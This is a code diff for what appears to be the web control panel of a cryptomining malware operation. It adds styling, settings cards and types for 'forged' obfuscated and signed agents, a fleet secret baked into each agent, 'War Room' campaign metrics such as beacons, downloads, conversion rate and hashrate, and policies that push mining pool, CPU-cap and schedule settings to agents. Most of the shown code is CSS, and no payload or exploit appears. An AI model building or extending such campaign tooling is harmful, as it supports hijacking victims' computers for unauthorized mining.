|
||||
className="input"
|
||||
min={1}
|
||||
max={50}
|
||||
value={s.public_builds_latest_n ?? 3}
|
||||
onChange={(e) => updateField('server.public_builds_latest_n', parseInt(e.target.value, 10) || 3)}
|
||||
/>
|
||||
<span className="form-hint">
|
||||
When all-builds mode is off, login drawer lists pinned + explicitly public builds + this many recent forges.
|
||||
</span>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Forge Pipeline</h2>
|
||||
<p className="section-desc">Defaults for obfuscation and code signing applied when forging on this control PC.</p>
|
||||
<div className="form-group checkbox-group">
|
||||
@@ -972,7 +1054,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="green" className="settings-section">
|
||||
<NeonCard accent="green" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Data & Limits</h2>
|
||||
<p className="section-desc">Retention and capacity for this host.</p>
|
||||
<div className="form-row">
|
||||
@@ -1006,7 +1088,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="brass" className="settings-section">
|
||||
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Server Logging</h2>
|
||||
<p className="section-desc">What this control server writes to its log.</p>
|
||||
<div className="form-group checkbox-group">
|
||||
@@ -1032,7 +1114,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="magenta" className="settings-section">
|
||||
<NeonCard accent="magenta" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Access Control</h2>
|
||||
<p className="section-desc">
|
||||
API routes require login. On first server start, credentials are printed once in the server console (<code>admin</code> + random password). Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
|
||||
@@ -1078,7 +1160,9 @@ export default function SettingsPage() {
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="settings-section">
|
||||
<FleetRuntimePanel />
|
||||
|
||||
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Fleet Security</h2>
|
||||
<p className="section-desc">
|
||||
A <strong>Fleet Secret</strong> is auto-generated on first server start and baked into every forged agent.
|
||||
|
||||
414
server/web/src/styles/operatorDeck.css
Normal file
414
server/web/src/styles/operatorDeck.css
Normal file
@@ -0,0 +1,414 @@
|
||||
/* ═══ Unified Operator Deck — shared instrument chrome ═══ */
|
||||
|
||||
:root {
|
||||
/* Card chrome */
|
||||
--deck-card-bg: linear-gradient(145deg, rgba(14, 12, 20, 0.94) 0%, rgba(6, 6, 12, 0.98) 100%);
|
||||
--deck-card-border: rgba(140, 120, 60, 0.28);
|
||||
--deck-card-radius: 6px;
|
||||
--deck-card-padding: 1.25rem;
|
||||
--deck-card-shadow: 0 10px 36px rgba(0, 0, 0, 0.72), 0 0 1px rgba(80, 60, 140, 0.25);
|
||||
--deck-card-glow: rgba(0, 232, 245, 0.12);
|
||||
--deck-card-accent-bar: var(--neon-cyan, #00e8f5);
|
||||
|
||||
/* Section accent (default command deck) */
|
||||
--deck-accent: var(--neon-cyan, #00e8f5);
|
||||
--deck-accent-secondary: var(--brass-light, #c4ad5a);
|
||||
--deck-accent-dim: rgba(0, 232, 245, 0.35);
|
||||
--deck-accent-glow: rgba(0, 232, 245, 0.45);
|
||||
--deck-accent-bg: rgba(0, 232, 245, 0.06);
|
||||
|
||||
/* Persistent 4px left accent rail */
|
||||
--deck-accent-rail: var(--neon-cyan, #00e8f5);
|
||||
--deck-accent-rail-glow: rgba(0, 232, 245, 0.48);
|
||||
|
||||
/* Interactive bounding box */
|
||||
--deck-interactive-outline: var(--deck-accent-dim);
|
||||
--deck-interactive-glow: var(--deck-accent-glow);
|
||||
--deck-interactive-radius: var(--deck-card-radius);
|
||||
--deck-interactive-dash: 8px;
|
||||
--deck-interactive-lift: -1px;
|
||||
--deck-interactive-btn-scale: 1.018;
|
||||
|
||||
/* Ambient music UI (Layout sets data-operator-deck) */
|
||||
--deck-ambient-ui-opacity: 0.72;
|
||||
}
|
||||
|
||||
/* ── Per-section accent tokens ── */
|
||||
[data-operator-deck='dashboard'] {
|
||||
--deck-accent: var(--neon-cyan, #00e8f5);
|
||||
--deck-accent-secondary: var(--brass-light, #c4ad5a);
|
||||
--deck-accent-dim: rgba(0, 232, 245, 0.38);
|
||||
--deck-accent-glow: rgba(0, 232, 245, 0.5);
|
||||
--deck-accent-bg: rgba(0, 232, 245, 0.07);
|
||||
--deck-card-accent-bar: var(--neon-cyan);
|
||||
--deck-accent-rail: var(--neon-cyan, #00e8f5);
|
||||
--deck-accent-rail-glow: rgba(0, 232, 245, 0.5);
|
||||
--deck-ambient-ui-opacity: 0.68;
|
||||
}
|
||||
|
||||
[data-operator-deck='fleet'] {
|
||||
--deck-accent: var(--neon-cyan, #00e8f5);
|
||||
--deck-accent-secondary: var(--neon-green, #2ee810);
|
||||
--deck-accent-dim: rgba(0, 232, 245, 0.34);
|
||||
--deck-accent-glow: rgba(0, 232, 245, 0.42);
|
||||
--deck-accent-bg: rgba(0, 232, 245, 0.05);
|
||||
--deck-card-accent-bar: var(--neon-cyan);
|
||||
--deck-accent-rail: var(--neon-green, #2ee810);
|
||||
--deck-accent-rail-glow: rgba(46, 232, 16, 0.46);
|
||||
--deck-ambient-ui-opacity: 0.7;
|
||||
}
|
||||
|
||||
[data-operator-deck='crucible'] {
|
||||
--deck-accent: #c9a227;
|
||||
--deck-accent-secondary: #e85d4a;
|
||||
--deck-accent-dim: rgba(201, 162, 39, 0.42);
|
||||
--deck-accent-glow: rgba(232, 93, 74, 0.48);
|
||||
--deck-accent-bg: rgba(180, 50, 30, 0.08);
|
||||
--deck-card-accent-bar: #c9a227;
|
||||
--deck-accent-rail: #c9a227;
|
||||
--deck-accent-rail-glow: rgba(201, 162, 39, 0.52);
|
||||
--deck-ambient-ui-opacity: 0.75;
|
||||
}
|
||||
|
||||
[data-operator-deck='forge'] {
|
||||
--deck-accent: var(--neon-amber, #e89830);
|
||||
--deck-accent-secondary: var(--neon-cyan, #00e8f5);
|
||||
--deck-accent-dim: rgba(232, 152, 48, 0.42);
|
||||
--deck-accent-glow: rgba(255, 180, 60, 0.55);
|
||||
--deck-accent-bg: rgba(232, 152, 48, 0.08);
|
||||
--deck-card-accent-bar: var(--neon-amber);
|
||||
--deck-accent-rail: var(--neon-cyan, #00e8f5);
|
||||
--deck-accent-rail-glow: rgba(0, 232, 245, 0.5);
|
||||
--deck-ambient-ui-opacity: 1;
|
||||
}
|
||||
|
||||
[data-operator-deck='mission-deck'] {
|
||||
--deck-accent: #ff8c3a;
|
||||
--deck-accent-secondary: #ffd700;
|
||||
--deck-accent-dim: rgba(255, 140, 58, 0.42);
|
||||
--deck-accent-glow: rgba(255, 140, 58, 0.55);
|
||||
--deck-accent-bg: rgba(255, 140, 58, 0.08);
|
||||
--deck-card-accent-bar: #ff8c3a;
|
||||
--deck-accent-rail: #a78bfa;
|
||||
--deck-accent-rail-glow: rgba(167, 139, 250, 0.52);
|
||||
--deck-ambient-ui-opacity: 0.95;
|
||||
}
|
||||
|
||||
[data-operator-deck='builds'] {
|
||||
--deck-accent: var(--brass-light, #c4ad5a);
|
||||
--deck-accent-secondary: var(--neon-cyan, #00e8f5);
|
||||
--deck-accent-dim: rgba(201, 162, 39, 0.38);
|
||||
--deck-accent-glow: rgba(201, 162, 39, 0.45);
|
||||
--deck-accent-bg: rgba(201, 162, 39, 0.07);
|
||||
--deck-card-accent-bar: var(--brass-light);
|
||||
--deck-accent-rail: var(--brass-light, #c4ad5a);
|
||||
--deck-accent-rail-glow: rgba(196, 173, 90, 0.48);
|
||||
--deck-ambient-ui-opacity: 0.55;
|
||||
}
|
||||
|
||||
[data-operator-deck='emberwake'] {
|
||||
--deck-accent: #f43f5e;
|
||||
--deck-accent-secondary: #ff6b2c;
|
||||
--deck-accent-dim: rgba(244, 63, 94, 0.4);
|
||||
--deck-accent-glow: rgba(255, 107, 44, 0.5);
|
||||
--deck-accent-bg: rgba(244, 63, 94, 0.07);
|
||||
--deck-card-accent-bar: #ff6b2c;
|
||||
--deck-accent-rail: #f43f5e;
|
||||
--deck-accent-rail-glow: rgba(244, 63, 94, 0.5);
|
||||
--deck-ambient-ui-opacity: 0.8;
|
||||
}
|
||||
|
||||
[data-operator-deck='settings'] {
|
||||
--deck-accent: var(--neon-purple, #a83ef0);
|
||||
--deck-accent-secondary: var(--text-muted, #5e5868);
|
||||
--deck-accent-dim: rgba(168, 62, 240, 0.28);
|
||||
--deck-accent-glow: rgba(168, 62, 240, 0.32);
|
||||
--deck-accent-bg: rgba(168, 62, 240, 0.05);
|
||||
--deck-card-accent-bar: var(--neon-purple);
|
||||
--deck-accent-rail: var(--neon-purple, #a83ef0);
|
||||
--deck-accent-rail-glow: rgba(168, 62, 240, 0.42);
|
||||
--deck-ambient-ui-opacity: 0.38;
|
||||
}
|
||||
|
||||
[data-operator-deck='pathtracer'] {
|
||||
--deck-accent: #6b8cff;
|
||||
--deck-accent-secondary: var(--neon-cyan, #00e8f5);
|
||||
--deck-accent-dim: rgba(107, 140, 255, 0.38);
|
||||
--deck-accent-glow: rgba(107, 140, 255, 0.45);
|
||||
--deck-accent-bg: rgba(70, 110, 220, 0.08);
|
||||
--deck-card-accent-bar: #6b8cff;
|
||||
--deck-accent-rail: #6b8cff;
|
||||
--deck-accent-rail-glow: rgba(107, 140, 255, 0.48);
|
||||
--deck-ambient-ui-opacity: 0.4;
|
||||
}
|
||||
|
||||
/* Forge seasonal skins override deck accent when present on page root */
|
||||
[class*='forge-skin--'] {
|
||||
--deck-accent: var(--forge-accent, var(--neon-amber));
|
||||
--deck-accent-secondary: var(--forge-accent-secondary, var(--neon-cyan));
|
||||
--deck-accent-dim: var(--forge-accent-dim, rgba(232, 152, 48, 0.42));
|
||||
--deck-accent-glow: var(--forge-glow, rgba(255, 180, 60, 0.55));
|
||||
--deck-accent-bg: var(--forge-accent-bg, rgba(232, 152, 48, 0.08));
|
||||
--deck-card-accent-bar: var(--forge-accent, var(--neon-amber));
|
||||
--deck-accent-rail: var(--neon-cyan, #00e8f5);
|
||||
--deck-accent-rail-glow: rgba(0, 232, 245, 0.5);
|
||||
}
|
||||
|
||||
/* ── Section accent rail (4px persistent left edge) ── */
|
||||
[data-operator-deck] .main-content {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
[data-operator-deck] .main-content:not(:has(.operator-deck-page))::before,
|
||||
.operator-deck-page::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
bottom: 0;
|
||||
width: 4px;
|
||||
background: var(--deck-accent-rail, var(--deck-accent));
|
||||
box-shadow: 0 0 18px var(--deck-accent-rail-glow, var(--deck-accent-glow));
|
||||
pointer-events: none;
|
||||
z-index: 3;
|
||||
}
|
||||
|
||||
.operator-deck-page {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
/* ── Page shell ── */
|
||||
.operator-deck-page .deck-hero::after {
|
||||
background: linear-gradient(90deg, var(--deck-accent), transparent);
|
||||
box-shadow: 0 0 12px var(--deck-accent-glow);
|
||||
}
|
||||
|
||||
.operator-deck-page .deck-eyebrow {
|
||||
color: var(--deck-accent-secondary, var(--deck-accent));
|
||||
}
|
||||
|
||||
/* ── Card chrome (layers on .card / .neon-card — does not replace page styles) ── */
|
||||
.operator-deck-card {
|
||||
position: relative;
|
||||
border-radius: var(--deck-card-radius);
|
||||
box-shadow:
|
||||
var(--deck-card-shadow),
|
||||
0 0 28px -14px var(--deck-card-glow);
|
||||
transition:
|
||||
border-color 0.22s ease,
|
||||
box-shadow 0.28s ease;
|
||||
}
|
||||
|
||||
.card.operator-deck-card,
|
||||
.neon-card.operator-deck-card {
|
||||
border-color: color-mix(in srgb, var(--deck-card-border) 75%, var(--deck-accent-dim));
|
||||
}
|
||||
|
||||
.operator-deck-card::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 2px;
|
||||
border-radius: var(--deck-card-radius) var(--deck-card-radius) 0 0;
|
||||
background: linear-gradient(90deg, var(--deck-card-accent-bar), transparent 72%);
|
||||
opacity: 0.65;
|
||||
pointer-events: none;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.operator-deck-card:hover {
|
||||
border-color: color-mix(in srgb, var(--deck-card-border) 55%, var(--deck-accent));
|
||||
box-shadow:
|
||||
var(--deck-card-shadow),
|
||||
0 0 32px -10px var(--deck-accent-glow);
|
||||
}
|
||||
|
||||
/* Emberwake spread sections — deck chrome without losing section accents */
|
||||
.emberwake-page .spread-section.operator-deck-card {
|
||||
padding: var(--deck-card-padding);
|
||||
border-radius: var(--deck-card-radius);
|
||||
box-shadow:
|
||||
var(--deck-card-shadow),
|
||||
0 0 24px -12px var(--deck-accent-glow);
|
||||
}
|
||||
|
||||
.emberwake-page .spread-section--ember.operator-deck-card { --deck-card-accent-bar: #ff6b2c; }
|
||||
.emberwake-page .spread-section--cyan.operator-deck-card { --deck-card-accent-bar: #3dd6c6; }
|
||||
.emberwake-page .spread-section--gold.operator-deck-card { --deck-card-accent-bar: #c9a227; }
|
||||
.emberwake-page .spread-section--violet.operator-deck-card { --deck-card-accent-bar: #a78bfa; }
|
||||
.emberwake-page .spread-section--war-room.operator-deck-card { --deck-card-accent-bar: #f43f5e; }
|
||||
|
||||
/* Builder form sections */
|
||||
.builder-form .form-section.operator-deck-card {
|
||||
padding: var(--deck-card-padding);
|
||||
border-radius: var(--deck-card-radius);
|
||||
}
|
||||
|
||||
/* ── Interactive bounding boxes (focus / hover outlines) ── */
|
||||
@keyframes operator-interactive-dash-march {
|
||||
to {
|
||||
background-position:
|
||||
var(--deck-interactive-dash) 0,
|
||||
calc(-1 * var(--deck-interactive-dash)) 100%,
|
||||
0 var(--deck-interactive-dash),
|
||||
100% calc(-1 * var(--deck-interactive-dash));
|
||||
}
|
||||
}
|
||||
|
||||
.operator-interactive {
|
||||
position: relative;
|
||||
transition:
|
||||
transform 0.22s cubic-bezier(0.23, 1, 0.32, 1),
|
||||
box-shadow 0.22s ease,
|
||||
outline-color 0.22s ease;
|
||||
outline: 1px solid transparent;
|
||||
outline-offset: 2px;
|
||||
}
|
||||
|
||||
/* Animated dashed ring — enhancement layer via ::before (does not replace outline) */
|
||||
.operator-interactive::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: -2px;
|
||||
border-radius: calc(var(--deck-interactive-radius) + 2px);
|
||||
pointer-events: none;
|
||||
z-index: 4;
|
||||
opacity: 0;
|
||||
background:
|
||||
linear-gradient(90deg, var(--deck-interactive-outline) 50%, transparent 50%) 0 0 / var(--deck-interactive-dash) 1px repeat-x,
|
||||
linear-gradient(90deg, var(--deck-interactive-outline) 50%, transparent 50%) 0 100% / var(--deck-interactive-dash) 1px repeat-x,
|
||||
linear-gradient(0deg, var(--deck-interactive-outline) 50%, transparent 50%) 0 0 / 1px var(--deck-interactive-dash) repeat-y,
|
||||
linear-gradient(0deg, var(--deck-interactive-outline) 50%, transparent 50%) 100% 0 / 1px var(--deck-interactive-dash) repeat-y;
|
||||
transition: opacity 0.22s ease;
|
||||
}
|
||||
|
||||
.operator-interactive:hover,
|
||||
.operator-interactive:focus-within {
|
||||
outline-color: var(--deck-interactive-outline);
|
||||
box-shadow:
|
||||
0 0 0 1px var(--deck-interactive-outline),
|
||||
0 0 20px -6px var(--deck-interactive-glow);
|
||||
}
|
||||
|
||||
.operator-interactive:hover::before,
|
||||
.operator-interactive:focus-within::before {
|
||||
opacity: 1;
|
||||
animation: operator-interactive-dash-march 0.75s linear infinite;
|
||||
}
|
||||
|
||||
.operator-interactive:focus-within {
|
||||
outline-color: var(--deck-accent);
|
||||
box-shadow:
|
||||
0 0 0 1px var(--deck-accent-dim),
|
||||
0 0 22px -4px var(--deck-interactive-glow);
|
||||
}
|
||||
|
||||
.operator-interactive:focus-visible {
|
||||
outline: 2px solid var(--deck-accent);
|
||||
outline-offset: 3px;
|
||||
}
|
||||
|
||||
/* Micro-lift — flat panels only; 3D neon cards keep their own tilt transform */
|
||||
.operator-interactive:not(.neon-card-3d):hover,
|
||||
.operator-interactive:not(.neon-card-3d):focus-within {
|
||||
transform: translateY(var(--deck-interactive-lift));
|
||||
}
|
||||
|
||||
.neon-card-3d.operator-interactive:hover,
|
||||
.neon-card-3d.operator-interactive:focus-within {
|
||||
transform: perspective(var(--perspective, 900px)) rotateX(2deg) translateY(calc(var(--deck-interactive-lift) - 3px));
|
||||
}
|
||||
|
||||
/* Crucible node cards — lighter outline + compact lift */
|
||||
.crucible-node-card.operator-interactive:hover:not(.selected),
|
||||
.crucible-node-card.operator-interactive:focus-within:not(.selected) {
|
||||
outline-color: var(--deck-interactive-outline);
|
||||
transform: translateY(var(--deck-interactive-lift)) scale(1.008);
|
||||
}
|
||||
|
||||
/* Tactile button scale within operator decks */
|
||||
.operator-interactive-btn,
|
||||
.operator-deck-page .btn:not(:disabled),
|
||||
.operator-deck-page button:not(:disabled):not([role='switch']) {
|
||||
transition:
|
||||
transform 0.16s cubic-bezier(0.23, 1, 0.32, 1),
|
||||
box-shadow 0.16s ease,
|
||||
border-color 0.16s ease,
|
||||
background 0.16s ease,
|
||||
color 0.16s ease,
|
||||
opacity 0.16s ease;
|
||||
}
|
||||
|
||||
.operator-interactive-btn:hover:not(:disabled),
|
||||
.operator-interactive-btn:focus-visible:not(:disabled),
|
||||
.operator-deck-page .btn:not(:disabled):hover,
|
||||
.operator-deck-page .btn:not(:disabled):focus-visible,
|
||||
.operator-deck-page button:not(:disabled):not([role='switch']):hover,
|
||||
.operator-deck-page button:not(:disabled):not([role='switch']):focus-visible {
|
||||
transform: scale(var(--deck-interactive-btn-scale));
|
||||
}
|
||||
|
||||
.operator-interactive-btn:active:not(:disabled),
|
||||
.operator-deck-page .btn:not(:disabled):active,
|
||||
.operator-deck-page button:not(:disabled):not([role='switch']):active {
|
||||
transform: scale(0.985);
|
||||
}
|
||||
|
||||
/* Nested step panels inside fleet / forge wizards */
|
||||
.fleet-policy-step-panel.operator-interactive,
|
||||
.forge-mission-wizard .forge-mission-step-panel.operator-interactive {
|
||||
border-radius: var(--deck-interactive-radius);
|
||||
padding: 0.85rem 1rem;
|
||||
margin-top: 0.5rem;
|
||||
}
|
||||
|
||||
/* Global music player — section-aware ambient UI intensity */
|
||||
.global-music-player {
|
||||
opacity: var(--deck-ambient-ui-opacity);
|
||||
border-color: color-mix(in srgb, var(--deck-card-border) 60%, var(--deck-accent-dim));
|
||||
}
|
||||
|
||||
.global-music-player:hover,
|
||||
.global-music-player:focus-within {
|
||||
opacity: 1;
|
||||
border-color: color-mix(in srgb, var(--deck-accent-dim) 80%, var(--deck-accent));
|
||||
box-shadow:
|
||||
0 6px 22px rgba(0, 0, 0, 0.6),
|
||||
0 0 16px var(--deck-accent-glow);
|
||||
}
|
||||
|
||||
.global-music-player--ambient-dim {
|
||||
opacity: calc(var(--deck-ambient-ui-opacity) * 0.85);
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
.operator-deck-card,
|
||||
.operator-interactive,
|
||||
.operator-interactive-btn,
|
||||
.global-music-player {
|
||||
transition: none;
|
||||
}
|
||||
|
||||
.operator-interactive::before {
|
||||
animation: none !important;
|
||||
}
|
||||
|
||||
.operator-interactive:not(.neon-card-3d):hover,
|
||||
.operator-interactive:not(.neon-card-3d):focus-within,
|
||||
.crucible-node-card.operator-interactive:hover:not(.selected),
|
||||
.neon-card-3d.operator-interactive:hover,
|
||||
.neon-card-3d.operator-interactive:focus-within {
|
||||
transform: none;
|
||||
}
|
||||
|
||||
.operator-interactive-btn:hover:not(:disabled),
|
||||
.operator-interactive-btn:active:not(:disabled),
|
||||
.operator-deck-page .btn:not(:disabled):hover,
|
||||
.operator-deck-page .btn:not(:disabled):active,
|
||||
.operator-deck-page button:not(:disabled):hover,
|
||||
.operator-deck-page button:not(:disabled):active {
|
||||
transform: none;
|
||||
}
|
||||
}
|
||||
@@ -185,6 +185,27 @@ export interface CampaignHitSummary {
|
||||
last_hit: string;
|
||||
}
|
||||
|
||||
export interface WarRoomCampaign {
|
||||
campaign: string;
|
||||
hits: number;
|
||||
downloads: number;
|
||||
first_beacon?: number;
|
||||
mining?: number;
|
||||
agents: number;
|
||||
online: number;
|
||||
hashrate: number;
|
||||
conversion_pct: number;
|
||||
daily_hits: number[];
|
||||
last_activity?: string;
|
||||
pins?: string[];
|
||||
}
|
||||
|
||||
export interface WarRoomResponse {
|
||||
generated_at: string;
|
||||
days: number;
|
||||
campaigns: WarRoomCampaign[];
|
||||
}
|
||||
|
||||
export interface EmberwakeNotes {
|
||||
content: string;
|
||||
updated_at: string;
|
||||
@@ -545,6 +566,18 @@ export interface AuditEntry {
|
||||
detail?: Record<string, unknown>;
|
||||
}
|
||||
|
||||
export interface FleetModuleManifest {
|
||||
name: string;
|
||||
version: string;
|
||||
display_name?: string;
|
||||
summary?: string;
|
||||
description?: string;
|
||||
accent?: 'magenta' | 'cyan' | 'gold' | 'ember' | 'violet' | string;
|
||||
capabilities?: string[];
|
||||
features?: Record<string, boolean>;
|
||||
signature?: string;
|
||||
}
|
||||
|
||||
export interface FleetTask {
|
||||
id?: string;
|
||||
name: string;
|
||||
|
||||
@@ -76,6 +76,17 @@ export interface WSServerLog {
|
||||
line: string;
|
||||
}
|
||||
|
||||
export interface WSPolicyAck {
|
||||
push_id?: string;
|
||||
agent_id?: string;
|
||||
mining_mode?: string;
|
||||
max_cpu_usage_pct?: number;
|
||||
schedule_start?: string;
|
||||
schedule_end?: string;
|
||||
pool_host?: string;
|
||||
pool_port?: number;
|
||||
}
|
||||
|
||||
export type WSPayload =
|
||||
| WSDashboardInit
|
||||
| Agent
|
||||
@@ -86,6 +97,7 @@ export type WSPayload =
|
||||
| import('../types').PoolStatus[]
|
||||
| import('../types').AIActivityEntry
|
||||
| WSCommandResult
|
||||
| WSPolicyAck
|
||||
| WSAgentLog
|
||||
| WSServerLog;
|
||||
|
||||
|
||||
Reference in New Issue
Block a user